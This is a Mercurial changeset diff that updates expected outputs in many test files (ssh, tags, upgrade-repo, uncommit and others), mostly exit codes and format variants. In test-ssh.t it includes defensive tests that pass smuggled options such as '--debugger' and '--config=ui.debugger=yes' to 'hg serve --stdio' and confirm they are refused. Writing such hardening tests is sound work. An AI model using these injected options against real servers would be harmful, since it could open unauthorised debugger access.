streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1959,8 +1965,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1992,8 +1998,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -2030,8 +2036,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -2071,8 +2077,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending pushkey command @@ -2137,8 +2143,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -2177,8 +2183,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending batch with 3 sub-commands diff -r bc268ea9f984 -r f67b8946bb1b tests/test-ssh.t --- a/tests/test-ssh.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-ssh.t Tue Apr 20 11:01:06 2021 -0400 @@ -64,8 +64,10 @@ $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/remote local-stream streaming all changes - 8 files to transfer, 827 bytes of data - transferred 827 bytes in * seconds (*) (glob) + 8 files to transfer, 827 bytes of data (no-zstd !) + transferred 827 bytes in * seconds (*) (glob) (no-zstd !) + 8 files to transfer, 846 bytes of data (zstd !) + transferred * bytes in * seconds (* */sec) (glob) (zstd !) updating to branch default 2 files updated, 0 files merged, 0 files removed, 0 files unresolved $ cd local-stream @@ -390,6 +392,7 @@ abort: destination 'a repo' is not empty [10] +#if no-rhg Make sure hg is really paranoid in serve --stdio mode. It used to be possible to get a debugger REPL by specifying a repo named --debugger. $ hg -R --debugger serve --stdio @@ -402,6 +405,27 @@ $ hg -R narf serv --stdio abort: potentially unsafe serve --stdio invocation: ['-R', 'narf', 'serv', '--stdio'] [255] +#else +rhg aborts early on -R without a repository at that path + $ hg -R --debugger serve --stdio + abort: potentially unsafe serve --stdio invocation: ['-R', '--debugger', 'serve', '--stdio'] (missing-correct-output !) + abort: repository --debugger not found (known-bad-output !) + [255] + $ hg -R --config=ui.debugger=yes serve --stdio + abort: potentially unsafe serve --stdio invocation: ['-R', '--config=ui.debugger=yes', 'serve', '--stdio'] (missing-correct-output !) + abort: repository --config=ui.debugger=yes not found (known-bad-output !) + [255] + $ hg -R narf serv --stdio + abort: potentially unsafe serve --stdio invocation: ['-R', 'narf', 'serv', '--stdio'] (missing-correct-output !) + abort: repository narf not found (known-bad-output !) + [255] +If the repo does exist, rhg finds an unsupported command and falls back to Python +which still does the right thing + $ hg init narf + $ hg -R narf serv --stdio + abort: potentially unsafe serve --stdio invocation: ['-R', 'narf', 'serv', '--stdio'] + [255] +#endif Test hg-ssh using a helper script that will restore PYTHONPATH (which might have been cleared by a hg.exe wrapper) and invoke hg-ssh with the right @@ -463,7 +487,7 @@ remote: Permission denied remote: pretxnopen.hg-ssh hook failed abort: push failed on remote - [255] + [100] $ cd $TESTTMP @@ -518,9 +542,11 @@ devel-peer-request: pairs: 81 bytes sending hello command sending between command - remote: 463 (sshv1 !) + remote: 444 (sshv1 no-rust !) + remote: 463 (sshv1 rust !) protocol upgraded to exp-ssh-v2-0003 (sshv2 !) - remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-rust !) + remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,persistent-nodemap,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (rust !) remote: 1 (sshv1 !) devel-peer-request: protocaps devel-peer-request: caps: * bytes (glob) @@ -537,7 +563,7 @@ no changes found devel-peer-request: getbundle devel-peer-request: bookmarks: 1 bytes - devel-peer-request: bundlecaps: 289 bytes + devel-peer-request: bundlecaps: 270 bytes devel-peer-request: cg: 1 bytes devel-peer-request: common: 122 bytes devel-peer-request: heads: 122 bytes @@ -655,7 +681,7 @@ remote: rollback completed remote: pretxnchangegroup.fail hook failed abort: push failed on remote - [255] + [100] abort during pull is properly reported as such @@ -670,7 +696,7 @@ searching for changes remote: abort: this is an exercise abort: pull failed on remote - [255] + [100] abort with no error hint when there is a ssh problem when pulling diff -r bc268ea9f984 -r f67b8946bb1b tests/test-static-http.t --- a/tests/test-static-http.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-static-http.t Tue Apr 20 11:01:06 2021 -0400 @@ -231,8 +231,6 @@ /.hg/bookmarks /.hg/bookmarks.current /.hg/cache/hgtagsfnodes1 - /.hg/cache/rbc-names-v1 - /.hg/cache/rbc-revs-v1 /.hg/dirstate /.hg/requires /.hg/store/00changelog.i @@ -248,8 +246,6 @@ /remote-with-names/.hg/bookmarks.current /remote-with-names/.hg/cache/branch2-served /remote-with-names/.hg/cache/hgtagsfnodes1 - /remote-with-names/.hg/cache/rbc-names-v1 - /remote-with-names/.hg/cache/rbc-revs-v1 /remote-with-names/.hg/cache/tags2-served /remote-with-names/.hg/dirstate /remote-with-names/.hg/localtags @@ -266,7 +262,6 @@ /remote/.hg/cache/branch2-served /remote/.hg/cache/hgtagsfnodes1 /remote/.hg/cache/rbc-names-v1 - /remote/.hg/cache/rbc-revs-v1 /remote/.hg/cache/tags2-served /remote/.hg/dirstate /remote/.hg/localtags @@ -288,8 +283,6 @@ /sub/.hg/bookmarks /sub/.hg/bookmarks.current /sub/.hg/cache/hgtagsfnodes1 - /sub/.hg/cache/rbc-names-v1 - /sub/.hg/cache/rbc-revs-v1 /sub/.hg/dirstate /sub/.hg/requires /sub/.hg/store/00changelog.i diff -r bc268ea9f984 -r f67b8946bb1b tests/test-stream-bundle-v2.t --- a/tests/test-stream-bundle-v2.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-stream-bundle-v2.t Tue Apr 20 11:01:06 2021 -0400 @@ -46,9 +46,13 @@ $ hg bundle -a --type="none-v2;stream=v2" bundle.hg $ hg debugbundle bundle.hg Stream params: {} - stream2 -- {bytecount: 1693, filecount: 11, requirements: dotencode%2Cfncache%2Cgeneraldelta%2Crevlogv1%2Csparserevlog%2Cstore} (mandatory: True) + stream2 -- {bytecount: 1693, filecount: 11, requirements: dotencode%2Cfncache%2Cgeneraldelta%2Crevlogv1%2Csparserevlog%2Cstore} (mandatory: True) (no-zstd !) + stream2 -- {bytecount: 1693, filecount: 11, requirements: dotencode%2Cfncache%2Cgeneraldelta%2Crevlog-compression-zstd%2Crevlogv1%2Csparserevlog%2Cstore} (mandatory: True) (zstd no-rust !) + stream2 -- {bytecount: 1693, filecount: 11, requirements: dotencode%2Cfncache%2Cgeneraldelta%2Cpersistent-nodemap%2Crevlog-compression-zstd%2Crevlogv1%2Csparserevlog%2Cstore} (mandatory: True) (rust !) $ hg debugbundle --spec bundle.hg - none-v2;stream=v2;requirements%3Ddotencode%2Cfncache%2Cgeneraldelta%2Crevlogv1%2Csparserevlog%2Cstore + none-v2;stream=v2;requirements%3Ddotencode%2Cfncache%2Cgeneraldelta%2Crevlogv1%2Csparserevlog%2Cstore (no-zstd !) + none-v2;stream=v2;requirements%3Ddotencode%2Cfncache%2Cgeneraldelta%2Crevlog-compression-zstd%2Crevlogv1%2Csparserevlog%2Cstore (zstd no-rust !) + none-v2;stream=v2;requirements%3Ddotencode%2Cfncache%2Cgeneraldelta%2Cpersistent-nodemap%2Crevlog-compression-zstd%2Crevlogv1%2Csparserevlog%2Cstore (rust !) Test that we can apply the bundle as a stream clone bundle diff -r bc268ea9f984 -r f67b8946bb1b tests/test-strip.t --- a/tests/test-strip.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-strip.t Tue Apr 20 11:01:06 2021 -0400 @@ -427,7 +427,7 @@ strip failed, unrecovered changes stored in '$TESTTMP/test/.hg/strip-backup/*-temp.hg' (glob) (fix the problem, then recover the changesets with "hg unbundle '$TESTTMP/test/.hg/strip-backup/*-temp.hg'") (glob) abort: pretxnchangegroup.bad hook exited with status 1 - [255] + [40] $ restore $ hg log -G o changeset: 4:443431ffac4f diff -r bc268ea9f984 -r f67b8946bb1b tests/test-tag.t --- a/tests/test-tag.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-tag.t Tue Apr 20 11:01:06 2021 -0400 @@ -290,7 +290,7 @@ $ rm -f .hg/last-message.txt $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg tag custom-tag -e abort: pretag.test-saving-lastmessage hook exited with status 1 - [255] + [40] $ test -f .hg/last-message.txt [1] @@ -325,7 +325,7 @@ note: commit message saved in .hg/last-message.txt note: use 'hg commit --logfile .hg/last-message.txt --edit' to reuse it abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt custom tag message second line diff -r bc268ea9f984 -r f67b8946bb1b tests/test-tags.t --- a/tests/test-tags.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-tags.t Tue Apr 20 11:01:06 2021 -0400 @@ -104,7 +104,7 @@ 0010: ff ff ff ff ff ff ff ff b9 15 46 36 26 b7 b4 a7 |..........F6&...| 0020: 73 e0 9e e3 c5 2f 51 0e 19 e0 5e 1f f9 66 d8 59 |s..../Q...^..f.Y| $ hg debugtagscache - 0 acb14030fe0a21b60322c440ad2d20cf7685a376 missing/invalid + 0 acb14030fe0a21b60322c440ad2d20cf7685a376 missing 1 b9154636be938d3d431e75a7c906504a079bfe07 26b7b4a773e09ee3c52f510e19e05e1ff966d859 Repeat with cold tag cache: @@ -381,7 +381,7 @@ $ hg debugtagscache | tail -2 4 0c192d7d5e6b78a714de54a2e9627952a877e25a 0c04f2a8af31de17fab7422878ee5a2dadbc943d - 5 8dbfe60eff306a54259cfe007db9e330e7ecf866 missing/invalid + 5 8dbfe60eff306a54259cfe007db9e330e7ecf866 missing $ hg tags tip 5:8dbfe60eff30 bar 1:78391a272241 @@ -389,6 +389,77 @@ 4 0c192d7d5e6b78a714de54a2e9627952a877e25a 0c04f2a8af31de17fab7422878ee5a2dadbc943d 5 8dbfe60eff306a54259cfe007db9e330e7ecf866 0c04f2a8af31de17fab7422878ee5a2dadbc943d +If the 4 bytes of node hash for a record don't match an existing node, the entry +is flagged as invalid. + + >>> import os + >>> with open(".hg/cache/hgtagsfnodes1", "rb+") as fp: + ... fp.seek(-24, os.SEEK_END) and None + ... fp.write(b'\xde\xad') and None + + $ f --size --hexdump .hg/cache/hgtagsfnodes1 + .hg/cache/hgtagsfnodes1: size=144 + 0000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| + 0010: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| + 0020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| + 0030: 7a 94 12 77 0c 04 f2 a8 af 31 de 17 fa b7 42 28 |z..w.....1....B(| + 0040: 78 ee 5a 2d ad bc 94 3d 6f a4 50 21 7d 3b 71 8c |x.Z-...=o.P!};q.| + 0050: 96 4e f3 7b 89 e5 50 eb da fd 57 89 e7 6c e1 b0 |.N.{..P...W..l..| + 0060: 0c 19 2d 7d 0c 04 f2 a8 af 31 de 17 fa b7 42 28 |..-}.....1....B(| + 0070: 78 ee 5a 2d ad bc 94 3d de ad e6 0e 0c 04 f2 a8 |x.Z-...=........| + 0080: af 31 de 17 fa b7 42 28 78 ee 5a 2d ad bc 94 3d |.1....B(x.Z-...=| + + $ hg debugtagscache | tail -2 + 4 0c192d7d5e6b78a714de54a2e9627952a877e25a 0c04f2a8af31de17fab7422878ee5a2dadbc943d + 5 8dbfe60eff306a54259cfe007db9e330e7ecf866 invalid + + $ hg tags + tip 5:8dbfe60eff30 + bar 1:78391a272241 + +BUG: If the filenode part of an entry in hgtagsfnodes is corrupt and +tags2-visible is missing, `hg tags` aborts. Corrupting the leading 4 bytes of +node hash (as above) doesn't seem to trigger the issue. Also note that the +debug command hides the corruption, both with and without tags2-visible. + + $ mv .hg/cache/hgtagsfnodes1 .hg/cache/hgtagsfnodes1.bak + $ hg debugupdatecaches + + >>> import os + >>> with open(".hg/cache/hgtagsfnodes1", "rb+") as fp: + ... fp.seek(-16, os.SEEK_END) and None + ... fp.write(b'\xde\xad') and None + + $ f --size --hexdump .hg/cache/hgtagsfnodes1 + .hg/cache/hgtagsfnodes1: size=144 + 0000: bb d1 79 df 00 00 00 00 00 00 00 00 00 00 00 00 |..y.............| + 0010: 00 00 00 00 00 00 00 00 78 39 1a 27 0c 04 f2 a8 |........x9.'....| + 0020: af 31 de 17 fa b7 42 28 78 ee 5a 2d ad bc 94 3d |.1....B(x.Z-...=| + 0030: 7a 94 12 77 0c 04 f2 a8 af 31 de 17 fa b7 42 28 |z..w.....1....B(| + 0040: 78 ee 5a 2d ad bc 94 3d 6f a4 50 21 7d 3b 71 8c |x.Z-...=o.P!};q.| + 0050: 96 4e f3 7b 89 e5 50 eb da fd 57 89 e7 6c e1 b0 |.N.{..P...W..l..| + 0060: 0c 19 2d 7d 0c 04 f2 a8 af 31 de 17 fa b7 42 28 |..-}.....1....B(| + 0070: 78 ee 5a 2d ad bc 94 3d 8d bf e6 0e 0c 04 f2 a8 |x.Z-...=........| + 0080: de ad de 17 fa b7 42 28 78 ee 5a 2d ad bc 94 3d |......B(x.Z-...=| + + $ hg debugtagscache | tail -2 + 4 0c192d7d5e6b78a714de54a2e9627952a877e25a 0c04f2a8af31de17fab7422878ee5a2dadbc943d + 5 8dbfe60eff306a54259cfe007db9e330e7ecf866 0c04f2a8deadde17fab7422878ee5a2dadbc943d (unknown node) + + $ rm -f .hg/cache/tags2-visible + $ hg debugtagscache | tail -2 + 4 0c192d7d5e6b78a714de54a2e9627952a877e25a 0c04f2a8af31de17fab7422878ee5a2dadbc943d + 5 8dbfe60eff306a54259cfe007db9e330e7ecf866 0c04f2a8deadde17fab7422878ee5a2dadbc943d (unknown node) + + $ hg tags + tip 5:8dbfe60eff30 + bar 1:78391a272241 + +BUG: Unless this file is restored, the `hg tags` in the next unix-permissions +conditional will fail: "abort: data/.hgtags.i@0c04f2a8dead: no match found" + + $ mv .hg/cache/hgtagsfnodes1.bak .hg/cache/hgtagsfnodes1 + #if unix-permissions no-root Errors writing to .hgtags fnodes cache are silently ignored @@ -405,7 +476,7 @@ $ hg blackbox -l 6 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno *] * (glob) - 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 3/4 cache hits/lookups in * seconds (glob) + 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 2/4 cache hits/lookups in * seconds (glob) 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> writing .hg/cache/tags2-visible with 1 tags 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags exited 0 after * seconds (glob) 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> blackbox -l 6 @@ -420,7 +491,7 @@ $ hg blackbox -l 6 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> writing 24 bytes to cache/hgtagsfnodes1 - 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 3/4 cache hits/lookups in * seconds (glob) + 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 2/4 cache hits/lookups in * seconds (glob) 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> writing .hg/cache/tags2-visible with 1 tags 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags exited 0 after * seconds (glob) 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> blackbox -l 6 diff -r bc268ea9f984 -r f67b8946bb1b tests/test-template-map.t --- a/tests/test-template-map.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-template-map.t Tue Apr 20 11:01:06 2021 -0400 @@ -1606,7 +1606,7 @@ $ hg bisect -g 1 $ hg bisect -b 3 --noupdate - Testing changeset 2:97054abb4ab8 (2 changesets remaining, ~1 tests) + Testing changeset 2:97054abb4ab8 "no person" (2 changesets remaining, ~1 tests) $ hg log -T bisect -r 0:4 changeset: 0:1e4e1b8f71e0 bisect: good (implicit) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-transplant.t --- a/tests/test-transplant.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-transplant.t Tue Apr 20 11:01:06 2021 -0400 @@ -1091,7 +1091,7 @@ transaction abort! rollback completed abort: pretxncommit.abort hook exited with status 1 - [255] + [40] $ cat >> .hg/hgrc < [hooks] > pretxncommit.abort = ! diff -r bc268ea9f984 -r f67b8946bb1b tests/test-treemanifest.t --- a/tests/test-treemanifest.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-treemanifest.t Tue Apr 20 11:01:06 2021 -0400 @@ -832,10 +832,13 @@ Packed bundle $ hg -R deeprepo debugcreatestreamclonebundle repo-packed.hg - writing 5330 bytes for 18 files - bundle requirements: generaldelta, revlogv1, sparserevlog, treemanifest + writing 5330 bytes for 18 files (no-zstd !) + writing 5400 bytes for 18 files (zstd !) + bundle requirements: generaldelta, revlogv1, sparserevlog, treemanifest (no-rust !) + bundle requirements: generaldelta, persistent-nodemap, revlogv1, sparserevlog, treemanifest (rust !) $ hg debugbundle --spec repo-packed.hg - none-packed1;requirements%3Dgeneraldelta%2Crevlogv1%2Csparserevlog%2Ctreemanifest + none-packed1;requirements%3Dgeneraldelta%2Crevlogv1%2Csparserevlog%2Ctreemanifest (no-rust !) + none-packed1;requirements%3Dgeneraldelta%2Cpersistent-nodemap%2Crevlogv1%2Csparserevlog%2Ctreemanifest (rust !) #endif diff -r bc268ea9f984 -r f67b8946bb1b tests/test-unamend.t --- a/tests/test-unamend.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-unamend.t Tue Apr 20 11:01:06 2021 -0400 @@ -39,7 +39,7 @@ $ hg unamend abort: changeset must have one predecessor, found 0 predecessors - [255] + [10] Unamend on clean wdir and tip diff -r bc268ea9f984 -r f67b8946bb1b tests/test-uncommit.t --- a/tests/test-uncommit.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-uncommit.t Tue Apr 20 11:01:06 2021 -0400 @@ -114,12 +114,12 @@ $ hg uncommit nothinghere abort: cannot uncommit "nothinghere" (file does not exist) - [255] + [10] $ hg status $ hg uncommit file-abc abort: cannot uncommit "file-abc" (file was not changed in working directory parent) - [255] + [10] $ hg status Try partial uncommit, also moves bookmark @@ -419,7 +419,7 @@ $ hg uncommit abort: cannot uncommit merge changeset - [255] + [10] $ hg status $ hg log -G -T '{rev}:{node} {desc}' --hidden @@ -585,12 +585,12 @@ $ hg uncommit emptydir abort: cannot uncommit "emptydir" (file was untracked in working directory parent) - [255] + [10] $ cd emptydir $ hg uncommit . abort: cannot uncommit "emptydir" (file was untracked in working directory parent) - [255] + [10] $ hg status $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-up-local-change.t --- a/tests/test-up-local-change.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-up-local-change.t Tue Apr 20 11:01:06 2021 -0400 @@ -175,7 +175,7 @@ $ hg up 1 b: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ rm b test conflicting untracked ignored file @@ -195,7 +195,7 @@ $ hg up 'desc("add ignored file")' ignored: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] test a local add diff -r bc268ea9f984 -r f67b8946bb1b tests/test-update-branches.t --- a/tests/test-update-branches.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-update-branches.t Tue Apr 20 11:01:06 2021 -0400 @@ -324,7 +324,7 @@ $ hg up -q 4 abort: conflicting changes (commit or update --clean to discard changes) - [255] + [20] $ hg up -m 4 merging a warning: conflicts while merging a! (edit, then use 'hg resolve --mark') diff -r bc268ea9f984 -r f67b8946bb1b tests/test-upgrade-repo.t --- a/tests/test-upgrade-repo.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-upgrade-repo.t Tue Apr 20 11:01:06 2021 -0400 @@ -3,6 +3,9 @@ $ cat >> $HGRCPATH << EOF > [extensions] > share = + > [format] + > # stabilize test accross variant + > revlog-compression=zlib > EOF store and revlogv1 are required in source @@ -21,7 +24,7 @@ > EOF $ hg -R no-revlogv1 debugupgraderepo - abort: cannot upgrade repository; requirement missing: revlogv1 + abort: cannot upgrade repository; missing a revlog version [255] Cannot upgrade shared repositories @@ -58,9 +61,10 @@ generaldelta: yes share-safe: no sparserevlog: yes - sidedata: no - persistent-nodemap: no + persistent-nodemap: no (no-rust !) + persistent-nodemap: yes (rust !) copies-sdc: no + revlog-v2: no plain-cl-delta: yes compression: zlib compression-level: default @@ -71,11 +75,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zlib zlib zstd (zstd !) compression-level: default default default $ hg debugformat --verbose --config format.usefncache=no format-variant repo config default @@ -84,11 +90,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zlib zlib zstd (zstd !) compression-level: default default default $ hg debugformat --verbose --config format.usefncache=no --color=debug format-variant repo config default @@ -97,11 +105,13 @@ [formatvariant.name.uptodate|generaldelta: ][formatvariant.repo.uptodate| yes][formatvariant.config.default| yes][formatvariant.default| yes] [formatvariant.name.uptodate|share-safe: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] [formatvariant.name.uptodate|sparserevlog: ][formatvariant.repo.uptodate| yes][formatvariant.config.default| yes][formatvariant.default| yes] - [formatvariant.name.uptodate|sidedata: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] - [formatvariant.name.uptodate|persistent-nodemap:][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] + [formatvariant.name.uptodate|persistent-nodemap:][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] (no-rust !) + [formatvariant.name.mismatchdefault|persistent-nodemap:][formatvariant.repo.mismatchdefault| yes][formatvariant.config.special| yes][formatvariant.default| no] (rust !) [formatvariant.name.uptodate|copies-sdc: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] + [formatvariant.name.uptodate|revlog-v2: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] [formatvariant.name.uptodate|plain-cl-delta: ][formatvariant.repo.uptodate| yes][formatvariant.config.default| yes][formatvariant.default| yes] - [formatvariant.name.uptodate|compression: ][formatvariant.repo.uptodate| zlib][formatvariant.config.default| zlib][formatvariant.default| zlib] + [formatvariant.name.uptodate|compression: ][formatvariant.repo.uptodate| zlib][formatvariant.config.default| zlib][formatvariant.default| zlib] (no-zstd !) + [formatvariant.name.mismatchdefault|compression: ][formatvariant.repo.mismatchdefault| zlib][formatvariant.config.special| zlib][formatvariant.default| zstd] (zstd !) [formatvariant.name.uptodate|compression-level: ][formatvariant.repo.uptodate| default][formatvariant.config.default| default][formatvariant.default| default] $ hg debugformat -Tjson [ @@ -136,21 +146,23 @@ "repo": true }, { + "config": false, (no-rust !) + "config": true, (rust !) + "default": false, + "name": "persistent-nodemap", + "repo": false (no-rust !) + "repo": true (rust !) + }, + { "config": false, "default": false, - "name": "sidedata", + "name": "copies-sdc", "repo": false }, { "config": false, "default": false, - "name": "persistent-nodemap", - "repo": false - }, - { - "config": false, - "default": false, - "name": "copies-sdc", + "name": "revlog-v2", "repo": false }, { @@ -161,7 +173,8 @@ }, { "config": "zlib", - "default": "zlib", + "default": "zlib", (no-zstd !) + "default": "zstd", (zstd !) "name": "compression", "repo": "zlib" }, @@ -177,7 +190,8 @@ performing an upgrade with "--run" will make the following changes: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) processed revlogs: - all-filelogs @@ -201,7 +215,8 @@ $ hg debugupgraderepo --quiet requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) processed revlogs: - all-filelogs @@ -216,7 +231,8 @@ performing an upgrade with "--run" will make the following changes: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -247,7 +263,8 @@ performing an upgrade with "--run" will make the following changes: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -272,7 +289,8 @@ $ hg debugupgrade --optimize re-delta-parent --quiet requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -303,9 +321,9 @@ generaldelta: no share-safe: no sparserevlog: no - sidedata: no persistent-nodemap: no copies-sdc: no + 